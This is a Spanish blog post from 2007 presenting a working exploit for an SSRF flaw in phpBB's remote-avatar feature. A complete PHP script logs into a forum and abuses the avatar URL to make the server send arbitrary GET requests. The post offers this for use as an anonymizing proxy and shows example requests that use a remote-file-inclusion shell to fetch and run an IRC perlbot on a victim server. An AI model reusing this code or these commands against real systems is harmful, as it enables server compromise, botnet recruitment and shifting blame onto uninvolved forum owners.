Texto sobre seguridad de PhpBB Enero 28, 2007
Posted by infierno102 in Hacking, Howto's, PhpBB, Seguridad Informática.trackback
Explico un poco de que va esto:
El web hacking, se basa en peticiones HTTP, modificando la URL o enviando un POST con datos, conseguimos explotar un BUG (XSS(Cross-Site Scripting), RFI(Remote File Include..))
Si no quieres acabar malparado en el webhacking, necesitas usar proxys
¿Problema?
Pues el 99% de los proxys gratuitos que podemos encontrar por internet, ya están fichados, o son espiados…
¿Y que conseguimos con este bug del PhpBB?
Pues conseguimos usar un foro PhpBB como un proxy, para enviar peticiones a webs desde el servidor que contenga dicho foro (Solo para explotar peticiones GET)
¡Ostia..!¿Y esto de donde sale?
Pues muy facil, de el “usercp_avatar.php”, esa opcionciya del PhpBB, para cojer una imagen de una URL
Veamos las lineas de el 125-150 del “usercp_avatar.php”
if ( $avatar_mode == ‘remote’ && preg_match(‘/^(http:\/\/)?([\w\-\.]+)\:?([0-9]*)\/(.*)$/’, $avatar_filename, $url_ary) )
{
if ( empty($url_ary[4]) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . ‘<br />’ . $lang['Incomplete_URL'] : $lang['Incomplete_URL'];
return;
}$base_get = ‘/’ . $url_ary[4];
$port = ( !empty($url_ary[3]) ) ? $url_ary[3] : 80;if ( !($fsock = @fsockopen($url_ary[2], $port, $errno, $errstr)) )
{
$error = true;
$error_msg = ( !empty($error_msg) ) ? $error_msg . ‘<br />’ . $lang['No_connection_URL'] : $lang['No_connection_URL'];
return;
}@fputs($fsock, “GET $base_get HTTP/1.1\r\n”);
@fputs($fsock, “HOST: ” . $url_ary[2] . “\r\n”);
@fputs($fsock, “Connection: close\r\n\r\n”);unset($avatar_data);
while( !@feof($fsock) )
{
$avatar_data .= @fread($fsock, $board_config['avatar_filesize']);
}
@fclose($fsock);
El PhpBB no chequea la extensión de la imagen, y ni siquiera si dicha URL contiene caracteres como “?” o “&”, con lo cual que si tu le pones: “http://loldelol.com/index.php?sec=http://direde.tu/phpshell.php?cmd=wget www.direde.tu/ircbot.txt” y luego haces otra peticion con “http://loldelol.com/index.php?sec=http://direde.tu/phpshell.php?cmd=perl ircbot.txt”
ya tendriamos las peticiones para un PerlBOT, que es algo que no necesitamos saber el OUTPUT (Respuesta de el servidor) ya que una vez que tengamos a nuestro serv0rcito hackeado con un perlbot, ia le podemos hacer todas las peticiones al bot, directamente, desde el IRC
¿Que ganamos con esto?
Pues basicamente que cuando vayan a mirar, quien fue el que los infectó con un perlbot, vean la IP de el servidor de el foro PhpBB
Aqui os dejo el codigo, que debeis ejecutar desde una bash de linux ^^ con php instalado
#!/usr/bin/php -q -d short_open_tag=on
<?
echo “PhpBB <= v2.0.20 Usar como proxy HTTP\r\n”;if ($argc<6) {
echo “Usage: php “.$argv[0].” host path user pass url OPCIONES\r\n”;
echo “host: servidor (ip/hostname)\r\n”;
echo “path: path a el PhpBB\r\n”;
echo “url: URL a explotar\r\n”;
echo “user/pass: (Necesitas una cuenta registrada en el foro) \r\n”;
echo “Opciones:\r\n”;
echo ” -p[puerto]: specify a port other than 80\r\n”;
echo ” -P[ip:puerto]: specify a proxy\r\n”;
echo “Ejemplo:\r\n”;
echo “php “.$argv[0].” localhost /phpbb/ usuario password http://www.vulnerableurl.com/phpshell?cmd=comando-a-ejecutar\r\n”;
die;
}
error_reporting(0);
ini_set(“max_execution_time”,0);
ini_set(“default_socket_timeout”,5);function quick_dump($string)
{
$result=”;$exa=”;$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=” .”;}
else
{$result.=” “.$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=” “.dechex(ord($string[$i]));}
else
{$exa.=” 0″.dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.=”\r\n”; $exa.=”\r\n”;}
}
return $exa.”\r\n”.$result;
}
$proxy_regex = ‘(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)’;
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==”) {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo ‘No hay respuesta de ‘.$host.’:’.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo ‘No es un proxy valido…’;die;
}
$parts=explode(‘:’,$proxy);
echo “Conectando al proxy “.$parts[0].”:”.$parts[1].”\r\n”;
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo ‘No hay respuesta de el proxy…’;die;
}
}
fputs($ock,$packet);
if ($proxy==”) {
$html=”;
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html=”;
while ((!feof($ock)) or (!eregi(chr(0×0d).chr(0×0a).chr(0×0d).chr(0×0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo “\r\n”.$html;}
$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$pass=$argv[4];
$url=$argv[5];
$port=80;$proxy=”";
for ($i=6; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>”-p”) and ($temp<>”-P”))
{die(“Sintaxis erronea…”);}
if ($temp==”-p”)
{
$port=str_replace(“-p”,”",$argv[$i]);
}
if ($temp==”-P”)
{
$proxy=str_replace(“-P”,”",$argv[$i]);
}
}
if (($path[0]<>’/') or ($path[strlen($path)-1]<>’/')) {echo ‘¿Seguro que aqui hay un foro PhpBB? ¡Comprueba el path!’; die;}
if ($proxy==”) {$p=$path;} else {$p=’http://’.$host.’:’.$port.$path;}echo “Paso 1 -> Loginandome …\r\n”;
$data=”username=”.trim(urlencode($username));
$data.=”&password=”.trim(urlencode($pass));
$data.=”&redirect=”.urlencode(“admin/index.php?admin=1″);
$data.=”&admin=1″;
$data.=”&login=Log+in”;
$packet=”POST “.$path.”login.php HTTP/1.0\r\n”;
$packet.=”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n”;
$packet.=”Referer: http://”.$host.$path.”/login.php\r\n”;
$packet.=”Accept-Language: it\r\n”;
$packet.=”Content-Type: application/x-www-form-urlencoded\r\n”;
$packet.=”Accept-Encoding: gzip, deflate\r\n”;
$packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Content-Length: “.strlen($data).”\r\n”;
$packet.=”Connection: Close\r\n”;
$packet.=”Cache-Control: no-cache\r\n\r\n”;
$packet.=$data;
sendpacketii($packet);
$temp=explode(“Set-Cookie: “,$html);
$temp2=explode(” “,$temp[3]);
$cookie=$temp2[0];
$temp2=explode(” “,$temp[4]);
$cookie.=” “.$temp2[0];
echo “Cookie ->”.$cookie.”\r\n”;
$temp=explode(“admin=1&sid=”,$html);
$temp2=explode(“\n”,$temp[1]);
$sid=trim($temp2[0]);
echo “sid ->”.urlencode($sid).”\r\n\r\n”;
if (($cookie==”) | ($sid==”)) {die(“Comprueba los datos del login…¿Seguro que son correctos? No me he podido loginar..”);}echo “Paso 2 -> Enviando el HTTP GET a: “.$url.”\r\n”;
$data=’—————————–7d62702f250530
Content-Disposition: form-data; name=”username”‘.trim(urlencode($username)).’
—————————–7d62702f250530
Content-Disposition: form-data; name=”email”lol@mailinator.com
—————————–7d62702f250530
Content-Disposition: form-data; name=”cur_password”—————————–7d62702f250530
Content-Disposition: form-data; name=”new_password”—————————–7d62702f250530
Content-Disposition: form-data; name=”password_confirm”—————————–7d62702f250530
Content-Disposition: form-data; name=”icq”—————————–7d62702f250530
Content-Disposition: form-data; name=”aim”—————————–7d62702f250530
Content-Disposition: form-data; name=”msn”—————————–7d62702f250530
Content-Disposition: form-data; name=”yim”—————————–7d62702f250530
Content-Disposition: form-data; name=”website”—————————–7d62702f250530
Content-Disposition: form-data; name=”location”—————————–7d62702f250530
Content-Disposition: form-data; name=”occupation”—————————–7d62702f250530
Content-Disposition: form-data; name=”interests”—————————–7d62702f250530
Content-Disposition: form-data; name=”signature”kdocs powa!
—————————–7d62702f250530
Content-Disposition: form-data; name=”viewemail”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”hideonline”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”notifyreply”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”notifypm”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”popup_pm”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”attachsig”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”allowbbcode”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”allowhtml”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”allowsmilies”1
—————————–7d62702f250530
Content-Disposition: form-data; name=”language”english
—————————–7d62702f250530
Content-Disposition: form-data; name=”style”1047
—————————–7d62702f250530
Content-Disposition: form-data; name=”timezone”2
—————————–7d62702f250530
Content-Disposition: form-data; name=”dateformat”D M d, Y g:i a
—————————–7d62702f250530
Content-Disposition: form-data; name=”MAX_FILE_SIZE”100000
—————————–7d62702f250530
Content-Disposition: form-data; name=”avatar”; filename=”";—————————–7d62702f250530
Content-Disposition: form-data; name=”avatarurl”‘.$url.’
—————————–7d62702f250530
Content-Disposition: form-data; name=”avatarremoteurl”—————————–7d62702f250530
Content-Disposition: form-data; name=”mode”editprofile
—————————–7d62702f250530
Content-Disposition: form-data; name=”agreed”true
—————————–7d62702f250530
Content-Disposition: form-data; name=”coppa”0
—————————–7d62702f250530
Content-Disposition: form-data; name=”user_id”666
—————————–7d62702f250530
Content-Disposition: form-data; name=”current_email”lol@mailinator.com
—————————–7d62702f250530
Content-Disposition: form-data; name=”submit”Submit
—————————–7d62702f250530–
‘;$packet=”POST “.$path.”profile.php HTTP/1.0\r\n”;
$packet.=”Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n”;
$packet.=”Referer: http://”.$host.$path.”profile.php?mode=editprofile\r\n”;
$packet.=”Accept-Language: it\r\n”;
$packet.=”Content-Type: multipart/form-data; boundary=—————————7d62702f250530\r\n”;
$packet.=”Accept-Encoding: gzip, deflate\r\n”;
$packet.=”User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n”;
$packet.=”Host: “.$host.”\r\n”;
$packet.=”Content-Length: “.strlen($data).”\r\n”;
$packet.=”Connection: Close\r\n”;
$packet.=”Cache-Control: no-cache\r\n”;
$packet.=”Cookie: “.$cookie.”\r\n\r\n”;
$packet.=$data;
sendpacketii($packet);
echo “Sentencia enviada… OLE!\r\n”;
?>
Recordad que lo que hagais con este material, lo haceis bajo vuestra responsabilidad! y que no a todos los Webmasters les haga la misma “gracia” que useis sus servidores para hackear a la peña ^^








Comentarios»
No comments yet — be the first.